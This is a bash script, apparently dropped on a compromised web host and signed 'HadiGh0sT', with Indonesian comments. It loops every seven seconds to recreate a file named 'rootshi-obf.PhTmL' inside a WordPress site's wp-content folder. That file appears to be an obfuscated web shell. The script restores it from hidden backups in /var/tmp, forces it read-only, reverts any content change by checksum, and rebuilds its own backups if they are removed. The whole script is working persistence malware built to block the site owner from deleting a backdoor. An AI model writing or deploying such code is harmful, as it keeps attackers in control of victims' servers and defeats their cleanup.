/home/edulekha/.cagefs/tmp/.file_protector/protect_file_a2509635.sh
#!/bin/bash
# Anti-Delete Protection Script — HadiGh0sT
# Auto-generated, berdiri sendiri (tidak butuh PHP)
PROTECT_FILE="/home/edulekha/sriramaaresorts.com/wp-content/rootshi-obf.PhTmL"
INITIAL_BACKUP="/var/tmp/.file_protector_backups/file_a2509635.initial"
LAST_GOOD_BACKUP="/var/tmp/.file_protector_backups/file_a2509635.lastgood"
CHECKSUM_FILE="/var/tmp/.file_protector/file_a2509635.checksum"
BACKUP_DIR="/var/tmp/.file_protector_backups"
CONFIG_DIR="/var/tmp/.file_protector"
LOG_FILE="/var/tmp/.file_protector.log"
FID="file_a2509635"

log_msg() {
    echo "$(date '+%Y-%m-%d %H:%M:%S') [$1] $2" >> "$LOG_FILE"
}

# Restore file ke target dari source
verify_restore() {
    local target="$1"
    local src="$2"
    local reason="$3"
    local dir_path
    dir_path=$(dirname "$target")
    log_msg "RESTORE" "$reason -> $target"
    [ ! -d "$dir_path" ] && mkdir -p "$dir_path" 2>/dev/null
    # Buka lock jika ada (chmod dulu agar bisa overwrite)
    chmod 644 "$target" 2>/dev/null
    cp -p "$src" "$target" 2>/dev/null
    if [ $? -eq 0 ] && [ -f "$target" ] && [ "$(stat -c %s "$target" 2>/dev/null)" -gt 0 ]; then
        chmod 444 "$target" 2>/dev/null
        md5sum "$target" 2>/dev/null | cut -d' ' -f1 > "$CHECKSUM_FILE"
        log_msg "SUCCESS" "Restored OK: $target"
    else
        log_msg "FAILED" "Restore failed: $target (src=$src)"
    fi
}

# Restore backup (initial atau lastgood) jika dihapus/korup
repair_backup() {
    local bak="$1"
    local ref="$2"   # sumber fallback
    local label="$3"

    if [ ! -f "$bak" ] || [ "$(stat -c %s "$bak" 2>/dev/null || echo 0)" -eq 0 ]; then
        log_msg "WARNING" "Backup $label hilang/kosong — rebuild dari: $ref"
        if [ -f "$ref" ] && [ "$(stat -c %s "$ref" 2>/dev/null || echo 0)" -gt 0 ]; then
            chmod 644 "$bak" 2>/dev/null
            cp -p "$ref" "$bak" 2>/dev/null
            chmod 444 "$bak" 2>/dev/null
            log_msg "SUCCESS" "Backup $label di-rebuild: $bak"
        elif [ -f "$PROTECT_FILE" ] && [ "$(stat -c %s "$PROTECT_FILE" 2>/dev/null || echo 0)" -gt 0 ]; then
            chmod 644 "$bak" 2>/dev/null
            cp -p "$PROTECT_FILE" "$bak" 2>/dev/null
            chmod 444 "$bak" 2>/dev/null
            log_msg "SUCCESS" "Backup $label di-rebuild dari file asli: $bak"
        else
            log_msg "ERROR" "Tidak bisa rebuild backup $label — semua sumber hilang"
        fi
    fi
}

log_msg "INFO" "Protection loop dimulai untuk: $PROTECT_FILE (PID: $$)"

while true; do
    sleep 7

    # ── 1. Cek & restore file utama ──────────────────────────
    if [ ! -e "$PROTECT_FILE" ]; then
        # Tentukan sumber restore terbaik
        if [ -f "$LAST_GOOD_BACKUP" ] && [ "$(stat -c %s "$LAST_GOOD_BACKUP" 2>/dev/null || echo 0)" -gt 0 ]; then
            verify_restore "$PROTECT_FILE" "$LAST_GOOD_BACKUP" "file_deleted"
        elif [ -f "$INITIAL_BACKUP" ] && [ "$(stat -c %s "$INITIAL_BACKUP" 2>/dev/null || echo 0)" -gt 0 ]; then
            verify_restore "$PROTECT_FILE" "$INITIAL_BACKUP" "file_deleted_fallback_initial"
        else
            log_msg "ERROR" "File dihapus tapi semua backup hilang: $PROTECT_FILE"
        fi
        continue
    fi

    # ── 2. Cek & fix permission file utama ───────────────────
    current_perm=$(stat -c %a "$PROTECT_FILE" 2>/dev/null)
    if [[ ! "$current_perm" =~ ^(444|400)$ ]]; then
        log_msg "PERMISSION" "Fix perm: $current_perm -> 444 ($PROTECT_FILE)"
        chmod 444 "$PROTECT_FILE" 2>/dev/null
    fi

    # ── 3. Cek checksum — restore jika konten berubah ────────
    if [ -f "$CHECKSUM_FILE" ]; then
        current_checksum=$(md5sum "$PROTECT_FILE" 2>/dev/null | cut -d' ' -f1)
        stored_checksum=$(cat "$CHECKSUM_FILE" 2>/dev/null)
        if [ -n "$current_checksum" ] && [ -n "$stored_checksum" ] && [ "$current_checksum" != "$stored_checksum" ]; then
            if [ -f "$LAST_GOOD_BACKUP" ] && [ "$(stat -c %s "$LAST_GOOD_BACKUP" 2>/dev/null || echo 0)" -gt 0 ]; then
                verify_restore "$PROTECT_FILE" "$LAST_GOOD_BACKUP" "content_modified"
            elif [ -f "$INITIAL_BACKUP" ]; then
                verify_restore "$PROTECT_FILE" "$INITIAL_BACKUP" "content_modified_fallback"
            fi
        fi
    fi

    # ── 4. Lindungi file BACKUP itu sendiri ──────────────────
    # Jika initial backup hilang/kosong, rebuild dari lastgood / file asli
    repair_backup "$INITIAL_BACKUP" "$LAST_GOOD_BACKUP" "initial"
    # Jika lastgood hilang/kosong, rebuild dari initial / file asli
    repair_backup "$LAST_GOOD_BACKUP" "$INITIAL_BACKUP" "lastgood"

done